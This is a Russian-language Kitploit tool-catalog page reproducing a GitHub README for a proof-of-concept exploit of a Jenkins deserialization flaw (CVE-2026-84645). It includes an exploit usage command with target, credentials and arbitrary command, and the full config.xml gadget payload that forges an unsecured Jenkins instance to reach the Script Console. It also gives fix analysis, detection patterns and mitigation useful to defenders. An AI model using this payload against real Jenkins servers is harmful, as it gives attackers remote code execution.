Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-84645 — Jenkins PersistenceRoot Deserialization RCE (SECURITY-3972) — PoC и анализ. Требует Item/Configure; затрагивает weekly <= 2.579 / LTS <= 2.568.2 | Kitploit
Инструменты/GitHubGitHub/mhtsec/cve-2026-84645
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed Teaming
GitHubmhtsec/cve-2026-84645

CVE-2026-84645

Jenkins PersistenceRoot Deserialization RCE (SECURITY-3972) — PoC и анализ. Требует Item/Configure; затрагивает weekly <= 2.579 / LTS <= 2.568.2

Репозиторий
12621 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-84645 — Jenkins PersistenceRoot Deserialization RCE (SECURITY-3972)

PoC для уязвимости десериализации Jenkins, исправленной 2026-09-02 (advisory). Учётная запись с низкими привилегиями, имеющая право Item/Configure на любой отдельной задаче, может превратить это в выполнение произвольного кода от имени пользователя ОС Jenkins.

Затронутоweekly ≤ 2.579, LTS ≤ 2.568.2
Исправленоweekly 2.580, LTS 2.568.3
Предусловиеаутентифицированный доступ, Item/Configure на ≥ 1 задаче
ВоздействиеRCE от имени сервисной учётной записи Jenkins
CVSS8.8 (High)

Только для авторизованных исследований безопасности на уязвимых тестовых экземплярах.

Использование

root@kitploit:~
pip install requests
python3 exp.py --url http://<target>:<port> --user <user> --password <pass> [--job <name>] --cmd id

Скрипт проверяет, что учётная запись не имеет права на скрипты (ожидается 403), отправляет сформированный config.xml, а затем маршрутизирует через внедрённый граф объектов к Script Console, чей ACL контролируется атакующим.

Технический анализ

Корневая причина

Два давних поведения стека XStream Jenkins (hudson.util.XStream2 / RobustReflectionConverter) объединяются:

  1. Типы PersistenceRoot могли десериализоваться как вложенные значения полей. JEP-200 ограничивает какие классы могут быть десериализованы, но не где в графе объектов. Любое поле, типизированное как (или приводимое к) подтип PersistenceRoot, размаршаливалось как обычный объект. Поскольку XStream создаёт экземпляры через Unsafe.allocateInstance (без конструктора), атакующий мог подделать второй синглтон hudson.model.Hudson с произвольными значениями полей — включая authorizationStrategy.
  2. Транзиентные поля также размаршаливались (поведение совместимости «размаршаливание в транзиентные поля, как в XStream 1.1.3»). Ссылки на объекты, необходимые для маршрутизации запросов Stapler (FingerprintAction.build, Run.project, AbstractItem.parent), являются транзиентными, поэтому внедрённые объекты становятся доступными через HTTP — формулировка «subsequently handle HTTP requests via Stapler» из advisory.

Цепочка гаджетов

POST /job/<job>/config.xml (требуется только Item/Configure) внедряет в <actions> задачи:

root@kitploit:~
<actions>
  <hudson.tasks.Fingerprinter_-FingerprintAction>
    <build class="hudson.model.FreeStyleBuild">        <!-- PersistenceRoot вложенный (дефект 1); транзиентное поле (дефект 2) -->
      <project class="hudson.model.FreeStyleProject">  <!-- Run.project: protected final transient -->
        <parent class="hudson.model.Hudson">            <!-- AbstractItem.parent: transient; поддельный 2-й Jenkins -->
          <authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
        </parent>
        <name>...</name>
        <properties/>                                  <!-- избегает NPE в Job.getOverrides() -->
      </project>
    </build>
    <record/>
  </hudson.tasks.Fingerprinter_-FingerprintAction>
</actions>

Затем Stapler маршрутизирует запрос во внедрённый граф:

Сегмент URLРазрешается вПуть кода
/job/<job>/fingerprintsвнедрённый FingerprintActionurlName == "fingerprints" + Actionable.getDynamic()
/runподдельный FreeStyleBuildFingerprintAction.getRun() читает транзиентное build
/parentподдельный FreeStyleProjectRun.getParent() читает final transient project
/parentподдельный hudson.model.HudsonAbstractItem.getParent() читает транзиентное parent
/scriptTextScript Console поддельного экземпляраJenkins.doScriptText() → _doScript(..., getACL())

Обход авторизации: doScriptText проверяет ADMINISTER против экземпляра, который получил запрос, т.е. getACL() поддельного Hudson, который выводится из его собственного поля authorizationStrategy — AuthorizationStrategy$Unsecured предоставляет всё. Стратегия авторизации реального контроллера никогда не участвует. Поскольку во время десериализации конструктор не выполняется, инициализаторы полей не применяются; полезная нагрузка должна явно задавать authorizationStrategy (и properties).

Анализ исправления (2.580)

Сравнение jenkins-2.579 → jenkins-2.580:

  • RobustReflectionConverter.doUnmarshal теперь отказывается размаршаливать подтип PersistenceRoot во вложенное поле (CriticalXStreamException: "PersistenceRoot objects are document roots and must not appear as nested field values"), разрешая только три безопасные формы: обратные ссылки XStream reference=, неперсистентные заменяющие объекты resolves-to (Run$Replacer, User$Replacer, …) и скалярные ссылки конвертера с одним значением.
  • Новые аннотации @XStreamNotDeserializable / @XStreamDeserializable плюс TRANSIENT_FIELD_STRICT_MODE ужесточают размаршаливание транзиентных полей по каждому полю.
  • Jenkins.readResolve() теперь отказывается десериализовать второй синглтон Jenkins и получил заменяющий объект writeReplace().
  • Регрессионные тесты: test/src/test/java/jenkins/security/Security3972Test.java, Security3972QueueRestartTest.java.

Примечания

  • Внедрение происходит в памяти (транзиентно): перезапуск Jenkins очищает его, но его можно повторно отправлять в любое время.
  • Обнаружение: неожиданные полезные нагрузки POST /job/*/config.xml, содержащие вложенные Fingerprinter_-FingerprintAction / hudson.model.Hudson, или запросы к /job/*/fingerprints/run/parent/parent/scriptText.

Смягчение

  • Обновитесь до weekly ≥ 2.580 / LTS ≥ 2.568.3.
  • Ограничьте Item/Configure доверенными администраторами в матрице авторизации.
  • Проверяйте журналы доступа на указанные выше шаблоны; перезапускайте подозрительные экземпляры и проверяйте файлы config.xml задач на загрязнение.

Ссылки

  • https://www.jenkins.io/security/advisory/2026-09-02/#SECURITY-3972
  • https://nvd.nist.gov/vuln/detail/CVE-2026-84645
Скачать инструмент